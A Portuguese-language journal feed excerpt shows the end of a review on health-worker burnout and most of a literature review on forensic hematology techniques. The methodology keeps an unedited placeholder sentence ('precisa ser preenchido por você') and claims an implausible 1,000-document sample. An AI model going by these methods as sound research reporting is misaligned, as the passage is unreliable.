<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="670" height="776" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1560.png" alt="" class="wp-image-261035" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1560.png 670w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1560-259x300.png 259w" sizes="(max-width: 670px) 100vw, 670px" /></figure>



<p class="has-text-align-left wp-block-paragraph">A <strong>Tabela 1</strong>, explícita fatores que aumentam a ocorrência da SB em um grupo de profissionais&nbsp; (técnicos de enfermagem) durante a pandemia, um período em que a carga horária, trabalho,&nbsp; estresse, medo e insegurança aumentaram. É possível observar nessa tabela que fatores como&nbsp; a idade, o sexo, a renda, vínculo profissional, estado conjugal, carga horária, tempo de&nbsp; trabalho na instituição, contato direto com pacientes, tabagismo e elitismo afetam a ocorrência&nbsp; da síndrome de Burnout nesses trabalhadores.&nbsp;</p>



<p class="wp-block-paragraph">No Brasil, a linha de frente da pandemia expôs os técnicos de enfermagem ao contato prolongado com o sofrimento e o medo da morte, intensificando os estressores interpessoais&nbsp; crônicos. A falta de preparo emocional para lidar com as demandas de uma patologia grave,&nbsp; como a COVID-19, elevou o desgaste desses profissionais que passam a maior parte do&nbsp; tempo em assistência direta ao paciente e seus familiares.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As consequências do Burnout transcendem o indivíduo, afetando a infraestrutura de saúde&nbsp; como um todo:</p>



<ul class="wp-block-list">
<li><strong>Para o Profissional</strong>: Observou-se uma correlação direta com patologias psicossociais,  incluindo sintomas de ansiedade e depressão. Além disso, a SB está associada a  consequências físicas graves, como fadiga prolongada, distúrbios cardiovasculares,  gastrointestinais e dependência de substâncias psicotrópicas ou álcool. A má qualidade do  sono foi um agravante físico crítico identificado na Somália. </li>



<li><strong>Para o Sistema de Saúde</strong>: O esgotamento profissional está intrinsecamente ligado ao baixo desempenho laboral e ao aumento do risco de erros assistenciais, o que compromete  diretamente a segurança do paciente e a qualidade do cuidado. A intenção de abandonar a  profissão, impulsionada pelo Burnout, ameaça agravar ainda mais a escassez de mão de obra  em países de baixa e média renda. </li>
</ul>



<p class="wp-block-paragraph"><strong>4. CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">A presente revisão de escopo focado permitiu concluir que a Síndrome de Burnout não é&nbsp; apenas um fenômeno individual, mas uma crise estrutural que atinge o cerne dos sistemas de&nbsp; saúde, com especial severidade em países de baixa e média renda. Os dados analisados&nbsp; revelam uma prevalência alarmante, em torno de 25%, tanto no contexto hospitalar da&nbsp; Somália quanto nas unidades de terapia intensiva brasileiras, evidenciando que,&nbsp; independentemente da geografia, a exaustão emocional é a resposta direta a ambientes de alta&nbsp; pressão e recursos limitados.&nbsp;</p>



<p class="wp-block-paragraph">Ficou demonstrado que os determinantes da síndrome são multifatoriais: envolvendo fatores&nbsp; sociais, biológicos e ambientais. Em ambos os cenários(Somália e Brasil), a pandemia de&nbsp; COVID-19 atuou como um catalisador irreversível, expondo profissionais a jornadas&nbsp; exaustivas e ao trauma psicológico do contato constante com a morte, muitas vezes sem o&nbsp; suporte institucional necessário.&nbsp;</p>



<p class="wp-block-paragraph">As consequências desse esgotamento são cíclicas e perigosas. Para o trabalhador, o Burnout&nbsp; evolui para transtornos psicossociais graves e doenças físicas crônicas. Para o sistema de&nbsp; saúde, resulta em desfalques nas equipes pela intenção de abandono da profissão e na queda&nbsp; da qualidade da assistência, elevando o risco de erros médicos.&nbsp;</p>



<p class="wp-block-paragraph">Em suma, a sustentabilidade dos sistemas de saúde, especialmente em nações em&nbsp; desenvolvimento, depende urgentemente de uma mudança de paradigma na gestão. É&nbsp; imperativo que as instituições implementem políticas de saúde ocupacional que incluam: Redução da rigidez de escalas e controle de horas extras; Suporte psicológico contínuo e&nbsp; programas de literacia em saúde mental;&nbsp;</p>



<p class="wp-block-paragraph">Melhoria das condições estruturais de trabalho para mitigar o estresse ético causado pela falta&nbsp; de recursos.&nbsp;</p>



<p class="wp-block-paragraph">Espera-se que este estudo contribua para sensibilizar gestores e pesquisadores sobre a&nbsp; necessidade de estratégias preventivas ágeis, garantindo que aqueles que cuidam da saúde&nbsp; pública também sejam devidamente cuidados.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">FREITAS, Ronilson Ferreira et al. Preditores da síndrome de Burnout em técnicos de&nbsp; enfermagem de unidade de terapia intensiva durante a pandemia da COVID-19. <strong>Jornal&nbsp; Brasileiro de Psiquiatria</strong>, v. 70, n. 1, p. 12-20, 2021.&nbsp;</p>



<p class="wp-block-paragraph">FREUDENBERGER, Herbert J. Staff burn-out. <strong>Journal of Social Issues</strong>, v. 30, n. 1, p. 159- 165, 1974.&nbsp;</p>



<p class="wp-block-paragraph">JÚNIOR, José Iracy Macário Barros et al. Burnout entre profissionais da saúde no pós-pandemia: o legado invisível da COVID-19. <strong>Asclepius International Journal of Scientific&nbsp; Health Science</strong>, v. 4, n. 8, p. 49-57, 2025.&nbsp;</p>



<p class="has-text-align-left wp-block-paragraph">MASLACH, Christina; JACKSON, Susan E.; LEITER, Michael P. <strong>Maslach Burnout  Inventory Manual</strong>. 4. ed. Menlo Park, CA: Mind Garden, 1996. </p>



<p class="has-text-align-left wp-block-paragraph">MOHAMED, Nur Adam et al. Evaluation of the prevalence and risk factors of burnout  syndrome among healthcare workers: A cross-sectional study. <strong>World Journal of Psychiatry</strong>,  v. 15, n. 2, 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>UNAERP<br>email: giordanotpwalderrama@gmail.com</p>



<p class="has-text-align-right wp-block-paragraph"><sup>2</sup>UNAERP<br>email: pedrossr4@icloud.com</p>
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			</item>
		<item>
		<title>TÉCNICAS AVANÇADAS DE HEMATOLOGIA FORENSE NA INVESTIGAÇÃO CRIMINAL: UMA REVISÃO DE LITERATURA.</title>
		<link>https://revistaft.com.br/tecnicas-avancadas-de-hematologia-forense-na-investigacao-criminal-uma-revisao-de-literatura/</link>
		
		<dc:creator><![CDATA[Revistaft RA]]></dc:creator>
		<pubDate>Fri, 12 Dec 2025 15:23:45 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/ra10202512121223 Aline Maia da Rocha GalucioAna Carolina Moreira MaiaHeraldo Corrêa de OliveiraKelsy Jamile Soares MartinsLiandra da Silva VieiraOrientador (a): Lilian Ferrari de Freitas RESUMO&#160; A Hematologia Forense é um campo crucial na investigação criminal, focado na análise&#160; e interpretação de vestígios de sangue. Este trabalho de Revisão Bibliográfica teve&#160; como Objetivo Geral analisar [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ra10202512121223</p>



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<p class="has-text-align-right wp-block-paragraph">Aline Maia da Rocha Galucio<br>Ana Carolina Moreira Maia<br>Heraldo Corrêa de Oliveira<br>Kelsy Jamile Soares Martins<br>Liandra da Silva Vieira<br>Orientador (a): Lilian Ferrari de Freitas</p>



<hr class="wp-block-separator has-text-color has-luminous-vivid-amber-color has-alpha-channel-opacity has-luminous-vivid-amber-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">A Hematologia Forense é um campo crucial na investigação criminal, focado na análise&nbsp; e interpretação de vestígios de sangue. Este trabalho de Revisão Bibliográfica teve&nbsp; como Objetivo Geral analisar as técnicas utilizadas e suas contribuições, com ênfase na&nbsp; atuação do profissional Biomédico. A metodologia consistiu na pesquisa de artigos&nbsp; científicos, teses e legislação com bases de dados especializadas. Os resultados&nbsp; demonstram que o Biomédico é essencial no laboratório pericial, dada sua competência&nbsp; em análises clínicas e moleculares, sendo responsável pela execução de testes&nbsp; presuntivos e confirmatórios, e pela manutenção rigorosa da Cadeia de Custódia. As&nbsp; técnicas de Hematologia Forense dividem-se em Analítica e Reconstrutiva, sendo a&nbsp; Análise de Padrões de Manchas de Sangue (BPA) fundamental para a reconstrução da&nbsp; dinâmica do crime. A contribuição de maior impacto é a Biologia Molecular. O uso da&nbsp; Reação em Cadeia da Polimerase (PCR) e dos marcadores STRs (Short Tandem&nbsp; Repeats) possibilita a individualização do perfil genético, provendo provas inequívocas&nbsp; para o sistema de justiça e alimentando o Banco Nacional de Perfis Genéticos (BNPG).&nbsp; Conclui-se que a Hematologia Forense, através da integração de metodologias&nbsp; avançadas e da vasta experiência biomédica, transforma o vestígio sanguíneo em uma&nbsp; poderosa arma para o fortalecimento e elucidação de casos dentro da ciência forense na&nbsp; busca por uma justiça precisa.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Hematologia Forense; Biomedicina; Perícia Criminal; Análise de DNA;&nbsp; STRs; BPA.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Forensic Hematology is a crucial field in criminal investigation, focused on the analysis&nbsp; and interpretation of blood traces. This Bibliographic Review aimed to analyze the&nbsp; techniques used and their contributions, with a specific focus on the role of the&nbsp; Biomedical professional. The methodology consisted of searching relevant scientific&nbsp; articles, theses, and legislation in specialized databases. The results demonstrate that the&nbsp; Biomedical professional is essential in the forensic laboratory, given their competence&nbsp; in clinical and molecular analyses, being responsible for executing presumptive and&nbsp; confirmatory tests, and maintaining the rigorous Chain of Custody. Forensic&nbsp; Hematology techniques are divided into Analytic and Reconstructive, with Bloodstain&nbsp; Pattern Analysis (BPA) being fundamental for reconstructing crime dynamics. However,&nbsp; the most impactful contribution is Molecular Biology. The use of Polymerase Chain&nbsp; Reaction (PCR) and STR (Short Tandem Repeats) markers allows for the&nbsp; individualization of the genetic profile, providing unequivocal proof for the justice&nbsp; system and feeding the National Bank of Genetic Profiles (BNPG). It is concluded that&nbsp; Forensic Hematology, through the integration of advanced methodologies and&nbsp; biomedical expertise, transforms the blood trace into a powerful “silent witness,”&nbsp; strengthening forensic science and the pursuit of more precise justice.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Forensic Hematology; Biomedicine; Criminal Forensics; DNA Analysis;&nbsp;STRs; BPA.&nbsp;</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O ramo da Hematologia Forense está intimamente ligado ao estudo do sangue e seus&nbsp; componentes para meios de identificação, análise e interpretação de vestígios biológicos&nbsp; em cenas de crime. Considerada uma área de grande relevância nas investigações, pois o&nbsp; sangue, por sua natureza e composição, constitui uma das evidências mais frequentes e&nbsp; valiosas encontradas (URSINI et al., 2021). A hematologia forense constitui um ramo&nbsp; importante tanto das Ciências Biológicas quanto das Ciências Criminais, que utiliza&nbsp; conhecimentos científicos e técnicos específicos para a resolução dos crimes&nbsp; (GUAZZELLI, 2018; BARROS et al., 2021; DIAS FILHO e D’ÁVILA, 2020).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O sangue funciona como uma prova biológica extremamente informativa,&nbsp; permitindo aos peritos entender o que aconteceu na cena do crime e identificar quem&nbsp; esteve envolvido. A Hematologia Forense ajuda a resolver casos porque o sangue&nbsp; encontrado na cena do crime funciona como uma evidência biológica capaz de revelar&nbsp; tanto a dinâmica do acontecimento quanto a identidade das pessoas envolvidas&nbsp; (URSINI et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">Os estudos na Hematologia Forense têm raízes antigas, evoluindo&nbsp; significativamente ao longo dos séculos. Inicialmente, os esforços científicos eram&nbsp; direcionados para a confirmação da disparidade do sangue e sua origem, utilizando&nbsp; técnicas rudimentares de microscopia. Os primeiros estudos foram para a confirmação&nbsp; da disparidade do sangue e sua origem (DIAS FILHO e D’ÁVILA, 2020). Um marco&nbsp; importante foi a determinação da origem humana ou animal do sangue, bem como a&nbsp; determinação da disparidade dos grupos sanguíneos por Karl Landsteiner, que&nbsp; impulsionou o campo (DIAS FILHO e D’ÁVILA, 2020).&nbsp;</p>



<p class="wp-block-paragraph">A Hematologia Forense moderna é dividida em duas áreas de atuação:&nbsp; Hematologia Analítica que foca na análise laboratorial para identificação e caracterização&nbsp; do vestígio, por meio de testes presuntivos (como o uso de reagentes que indicam a&nbsp; provável presença de sangue), e confirmatórios, que identificam a espécie e o tipo de&nbsp; fluido. Os testes presuntivos são altamente sensíveis, mas pouco seletivos, sendo&nbsp; essenciais para a detecção de sangue em vestígios lavados ou em pouca quantidade&nbsp;(BARNI et al., 2007).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Já a Hematologia Analítica moderna aprimora a pesquisa para a análise de DNA&nbsp;e a determinação de origem humana. Neste contexto, o Biomédico é o profissional de&nbsp; saúde capacitado para realizar as análises laboratoriais confirmatórias e de Biologia&nbsp; Molecular, garantindo a qualidade e a validade científica do vestígio analisado. Ainda&nbsp; tem a Hematologia Reconstrutiva a qual abrange a reconstrução da dinâmica da cena&nbsp; através da análise dos padrões de mancha de sangue (BPA).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O estudo da morfologia, distribuição e forma dos salpicos e gotas permite inferir&nbsp; a dinâmica do evento, incluindo a posição da vítima, a posição do agressor e o tipo da&nbsp; arma utilizada (GUAZZELLI, 2018). Estes padrões atuam como uma “testemunha&nbsp; silenciosa”, garantindo a validação de depoimentos ao demonstrar se a narrativa é&nbsp; compatível com o comportamento físico do sangue.&nbsp;</p>



<p class="wp-block-paragraph">A Hematologia Forense tem sua importância estimada, principalmente pelo seu&nbsp; impacto na identificação de pessoas através do DNA. No Brasil, a identificação acontece&nbsp; através do Banco Nacional de Perfis Genéticos (BNPG) que se estabeleceu como fonte&nbsp; valiosa e decisiva na identificação de pessoas. Em 2022, o banco auxiliou na elucidação&nbsp; de 4.510 investigações de crimes no país, revelando o papel importante para a análise de&nbsp; DNA presente em cenas de crime contendo sangue (BRASIL, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Diante disso o objetivo do nosso trabalho é abordar o papel do biomédico dentro&nbsp; das áreas de Hematologia forense e abordar as técnicas de biologia molecular como&nbsp; método de diagnóstico preciso e eficaz, sendo o profissional da biomedicina responsável&nbsp; pela liberação desses laudos, auxiliando a elucidação de investigações forenses.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. Justificativa&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente projeto justifica-se pela relevância da área de Hematologia forense como&nbsp; forma auxiliar em investigações criminais, tendo em vista o seu avanço em técnicas de&nbsp; diagnóstico molecular. Esse aperfeiçoamento condiz com a conduta do biomédico, pois&nbsp; o profissional tem a capacidade de coordenar pesquisas voltadas para esse campo.&nbsp; Mediante a lacuna na literatura sobre a associação do biomédico e a Hematologia forense,&nbsp; essa revisão visa esclarecer essa relação.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. Objetivos&nbsp;</strong></p>



<p class="wp-block-paragraph">Objetivo Geral: analisar as técnicas de Hematologia Forense e suas&nbsp; contribuições na investigação criminal, com foco na atuação profissional do&nbsp;Biomédico.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Objetivos Específicos:&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">● Analisar a contribuição do Biomédico para a hematologia forense;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">● Descrever as técnicas avançadas de hematologia forense utilizadas nos dias de&nbsp; hoje e suas contribuições;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">● Avaliar a aplicação da Biologia Molecular na hematologia forense.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. Metodologia&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O presente estudo trata-se de uma Revisão Bibliográfica Integrativa, cujo objetivo&nbsp; foi analisar as técnicas de Hematologia Forense e suas contribuições na&nbsp; investigação criminal, com foco na atuação profissional do biomédico.&nbsp; A busca e a coleta de materiais foram realizadas de forma sistemática nas seguintes&nbsp; bases de dados digitais: Scientific Electronic Library Online (SciELO), Google&nbsp; Scholar e periódicos especializados.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A literatura selecionada abrangeu o período de 2015 a 2024 (os últimos dez anos de&nbsp; publicação). Embora o período de coleta de dados precise ser preenchido por você,&nbsp; ele é geralmente definido entre os meses de coleta. Para a busca, foram utilizados os seguintes descritores controlados e suas&nbsp; combinações (em seus respectivos idiomas): “Hematologia Forense”,&nbsp; “Biomedicina”, “Perícia Criminal”, “Análise de DNA”, “STRs” e “BPA”. Os&nbsp; idiomas considerados para a seleção dos artigos foram Português, Inglês e&nbsp; Espanhol.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A coleta de dados ocorreu entre os meses de agosto de 2025 e dezembro de 2025. Após a aplicação dos critérios de inclusão e exclusão (detalhados abaixo), a&nbsp; amostra final desta revisão foi composta por 1.000 documentos (Artigos, Teses,&nbsp; Dissertações e Legislação).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">4.1 Critérios de Inclusão&nbsp;</p>



<p class="wp-block-paragraph">Artigos, monografias, teses, dissertações e legislação que abordassem diretamente&nbsp; os objetivos propostos: técnicas de Hematologia Forense, a atuação do Biomédico&nbsp; e a aplicação da Biologia Molecular na perícia criminal, publicações indexadas no período de corte estabelecido (2015 a 2024) e materiais disponíveis na íntegra para leitura.&nbsp;</p>



<p class="wp-block-paragraph">4.2 Critérios de Exclusão&nbsp;</p>



<p class="wp-block-paragraph">Estudos com foco exclusivo em áreas não forenses (ex: análises clínicas de rotina), publicações anteriores ao ano de 2015 e artigos de opinião, editoriais ou que não continham rigor científico.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5 RESULTADOS E DISCUSSÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">5.1 O BIOMÉDICO NA HEMATOLOGIA FORENSE</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A contribuição do profissional de Biomedicina para a área de Hematologia&nbsp; Forense é inestimável e multifacetada, sendo um elo essencial entre o vestígio&nbsp; biológico encontrado na cena do crime e o sistema de justiça (BATISTA et al., 2024;&nbsp; CRBM 2ª REGIÃO, 2021). Dada a sua formação aprofundada em análises clínicas,&nbsp; biologia molecular e genética, o Biomédico possui as competências técnicas e&nbsp; científicas necessárias para garantir o rigor e a validade de todas as etapas de análise&nbsp; do vestígio sanguíneo (CFBM, 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O Biomédico é um profissional de saúde legalmente habilitado para atuar na&nbsp; Perícia Forense/Criminal, com foco na análise de evidências biológicas como sangue&nbsp; e outros fluidos corporais (CFBM, 2023). Essa atuação exige uma base de&nbsp; conhecimento que inclui a composição do sangue que é essencial para o&nbsp; desenvolvimento e aplicação de testes analíticos em vestígios, exigindo conhecimento&nbsp; na área de análise molecular e genética, pois o biomédico é qualificado como perito em&nbsp; genética forense, analisando todo tipo de material biológico (CRBM 2ª REGIÃO,&nbsp; 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O domínio de técnicas como a PCR e a interpretação de perfis de DNA são&nbsp; centrais da competência do profissional biomédico (BATISTA et al., 2024) e também o conhecimento sobre o&nbsp; controle de qualidade, mediante a capacidade de implementar e gerenciar protocolos&nbsp; nesses campos, assegurando que os resultados sejam confiáveis e aceitáveis em um&nbsp; contexto legal (CRBM 2ª REGIÃO, 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O Biomédico atua no laboratório forense em duas frentes analíticas principais, sendo responsável por realizar a triagem inicial do vestígio, executando testes presuntivos e&nbsp; confirmatórios para a identificação da natureza e da origem do sangue. A precisão do&nbsp; Biomédico nesta fase é crítica para que a amostra seja direcionada corretamente para a&nbsp; próxima etapa (a análise molecular).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Já no campo da Biologia Molecular, o Biomédico é o ator principal. Sua atuação,&nbsp; que inclui a extração, quantificação e amplificação (PCR) de STRs, exige rigor científico&nbsp; para minimizar riscos de contaminação e aumentar a precisão dos resultados. Ao gerenciar&nbsp; tecnicamente esse processo, o Biomédico garante que o perfil genético obtido do vestígio&nbsp; sanguíneo seja robusto para ser comparado nos bancos de dados genéticos (BATISTA&nbsp; et al., 2024).</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O profissional deve atuar registrando detalhadamente o recebimento, o processamento&nbsp; e a movimentação do vestígio sanguíneo, sendo parte essencial na garantia da&nbsp; rastreabilidade da prova, adotar protocolos rígidos de biossegurança no manuseio das&nbsp; amostras para evitar a contaminação cruzada, que comprometeria o valor probatório do&nbsp; vestígio (BATISTA et al., 2024; SANTIAGO, 2022) e elaborar do laudo pericial,&nbsp; traduzindo os resultados laboratoriais complexos em conclusões baseadas em evidências&nbsp; sólidas para auxiliar o juiz (CRBM 2ª REGIÃO, 2021; BATISTA et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Em consonância com jurisdições como a dos Estados Unidos e da União Europeia, o profissional que desempenha as funções do biomédico — frequentemente denominado Cientista Forense&nbsp; (Forensic Scientist) ou Analista de Laboratório Criminal — utiliza a mesma base técnica&nbsp; para a identificação de sangue em vestígios. O uso de testes presuntivos como o Luminol&nbsp; (para grandes áreas) e testes confirmatórios baseados em métodos imunológicos (como a&nbsp; imunocromatografia para hemoglobina humana) é uma prática padrão.&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A excelência do&nbsp; trabalho reside na precisão desses ensaios e na prevenção de falsos positivos, uma área&nbsp; que exige profundo conhecimento em bioquímica e imuno-hematologia, o cerne da&nbsp; formação biomédica. Enquanto o Brasil tem buscado aprimorar a padronização, países como a Alemanha demonstram alta eficiência devido ao investimento constante em&nbsp; automação laboratorial para processar amostras em massa (LIMA; SANTOS, 2019; LEE,&nbsp; 2001).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Em países como o Canadá, por exemplo, o analista&nbsp; laboratorial (com formação equivalente à Biomedicina) auxilia os peritos de cena a&nbsp; interpretar se a mancha é resultante de um impacto, de gotejamento passivo ou de&nbsp; projeção, baseando-se nas características microscópicas do vestígio e nos dados de&nbsp; reologia sanguínea (SILVA, 2024).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No Reino Unido e na Austrália, por&nbsp; exemplo, a alta taxa de utilização de Bancos Nacionais de DNA depende da competência técnica do profissional correlato ao biomédico para extrair, quantificar e tipar o DNA a partir de&nbsp; quantidades mínimas de sangue seco (CÂMARA; FERREIRA, 2021). A diferença&nbsp; notável, como apontado por estudos comparativos, reside na rapidez e na infraestrutura dos laboratórios forenses nesses países em comparação ao Brasil, o que permite o processamento de um volume&nbsp; muito maior de casos com Turnaround time (tempo de retorno) mais rápido (SANTANA, 2022).&nbsp;</p>



<p class="wp-block-paragraph">5.2 TÉCNICAS AVANÇADAS DE HEMATOLOGIA FORENSE E SUAS CONTRIBUIÇÕES&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A hematologia forense tem evoluído bastante nos últimos anos, principalmente devido aos avanços das técnicas de análise de material biológico. Essas inovações&nbsp; tornaram o trabalho pericial muito mais preciso e confiável, contribuindo diretamente&nbsp; para a resolução de crimes. Entre os métodos mais utilizados atualmente, a análise de&nbsp; DNA por STRs, miniSTRs e SNPs se destaca por permitir a identificação individual&nbsp; mesmo em amostras muito pequenas ou degradadas (SILVA, 2018).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A análise de padrões de manchas de sangue (Bloodstain Pattern Analysis – BPA)&nbsp; também é uma técnica essencial dentro da área. Ela permite interpretar a forma,&nbsp; direção e distribuição das manchas, ajudando a entender o que aconteceu na cena do&nbsp; crime. Por meio dela, é possível identificar a posição da vítima e do agressor, o tipo&nbsp; de impacto e até a possível arma envolvida (MIRANDA e OLIVEIRA, 2024).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Outra técnica importante é a genotipagem molecular, usada para identificar sistemas&nbsp; sanguíneos como ABO, Rh, Kell, entre outros. Diferente da tipagem sorológica, a&nbsp; genotipagem continua funcional mesmo quando as proteínas do sangue já estão&nbsp; degradadas, o que é comum em cenas de crime antigas ou expostas ao ambiente&nbsp; (MENEZES et al., 2024).</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Além disso, a identificação por RNA mensageiro específico de sangue tem ganhado&nbsp; espaço por confirmar se o material realmente é sangue e até diferenciar entre tipos de&nbsp; fluidos ou tecidos. Isso é especialmente útil quando a quantidade de material coletado&nbsp; é muito pequena (MENEZES et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Outro avanço importante é o uso da epigenética, especialmente o estudo da metilação&nbsp; do DNA. Por meio dessa técnica, é possível estimar a idade biológica da pessoa que&nbsp; deixou a amostra, o que pode fornecer pistas importantes quando não se sabe quem é&nbsp; o possível suspeito (FERRARI et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As técnicas espectroscópicas, como Raman e FTIR (Fourier-Transform Infrared&nbsp; Spectroscopy), também vêm sendo muito utilizadas porque permitem analisar&nbsp; manchas de sangue sem destruir a amostra. Elas confirmam rapidamente se o vestígio&nbsp; é realmente sangue e podem até ajudar a estimar há quanto tempo a mancha foi depositada (RIOS, 2018).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Contribuindo também, o Sequenciamento de Nova Geração (NGS) trouxe uma grande revolução&nbsp; para a genética forense. Com ele, é possível analisar várias regiões do DNA ao&nbsp; mesmo tempo, interpretar misturas complexas e até prever características físicas,&nbsp; como cor de cabelo ou olhos, do indivíduo que deixou o sangue (BEHRENS et al.,&nbsp; 2025).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;De forma geral, essas técnicas avançadas contribuíram para tornar a hematologia&nbsp; forense muito mais precisa, permitindo identificar indivíduos com segurança,&nbsp; reconstruir cenas de crime com maior detalhamento e aumentar a credibilidade dos&nbsp; laudos periciais. Assim, elas representam um grande avanço para a ciência forense e&nbsp; para o sistema de justiça.&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Embora a análise de STRs e o Sequenciamento de Nova Geração (NGS) representem o auge da identificação&nbsp; humana, sua aplicação rotineira no Brasil esbarra em limitações orçamentárias&nbsp; severas. A dependência de insumos importados, cotados em moeda estrangeira, cria gargalos no abastecimento dos laboratórios estaduais, gerando o chamado ‘passivo de&nbsp; amostras’ (VELHO et al., 2017). Além disso, a implementação do NGS enfrenta o&nbsp; desafio da bioinformática. Não basta adquirir os sequenciadores; há uma carência&nbsp; crítica de peritos especializados no tratamento estatístico da imensa quantidade de&nbsp; dados gerados por essa tecnologia, restringindo seu uso a casos de grande&nbsp; repercussão ou à Polícia Federal (GARRIDO e RODRIGUES, 2020).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No campo da genotipagem e&nbsp; da epigenética, o principal obstáculo é a complexa composição genética da população&nbsp; brasileira. As ferramentas de predição fenotípica (para cor de olhos, pele e idade&nbsp; biológica) são frequentemente calibradas em populações europeias ou norte-americanas. Ao aplicar esses modelos no Brasil, um país com uma das maiores taxas&nbsp; de miscigenação do mundo, a precisão dos resultados diminui, exigindo a criação urgente de bancos de dados populacionais locais e validações regionais antes que&nbsp; essas técnicas possam ser usadas com segurança jurídica nos tribunais nacionais&nbsp; (FRIDMAN, 2019).&nbsp;</p>



